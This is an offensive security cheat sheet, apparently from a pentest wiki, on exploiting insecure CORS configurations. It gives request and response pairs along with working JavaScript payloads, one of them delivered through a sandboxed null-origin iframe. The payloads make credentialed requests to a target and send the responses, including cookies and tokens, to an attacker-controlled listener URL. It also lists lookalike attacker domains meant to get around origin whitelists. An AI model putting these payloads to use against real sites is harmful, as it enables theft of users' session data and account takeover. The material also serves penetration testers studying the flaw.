CORS
Insecure configurations
Access allowed from any domain
Request
GET <trget url> HTTP/1.1
Host: <target url>
Origin: <listener url>
Response
HTTP/1.1 200 OK
Access-Control-Allow-Origin: <listener url>
Access-Control-Allow-Credentials: true
Payload
Place this script on a controlled website. When a user hits the website the script sends a request and stores the response including cookies and tokens at <listener url>/log. By navigating to this url an attacker is able to read the full content of the response
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','<url>',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='<listener url>/log'+this.responseText;
};
Allowed NULL Origin
Request
GET <url> HTTP/1.1
Host: <url>
Origin: null
Response
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Payload
Include the script in an iframe so that the Origin is set to null
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','<url>',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='<listener url>/log?key='+this.responseText;
};
</script>"></iframe>
CORS Headers parsing error
To attempt to bypass CORS Origin whitelist it is possible to modify the server's name to include part of the target subdomain in order to spoof detection for instance:
Allowed any from domain: site.com
evil-site.com #CORS check only the end
site-evil.com #CORS check only the beginning
site.evil.com #CORS check only top domain
Last updated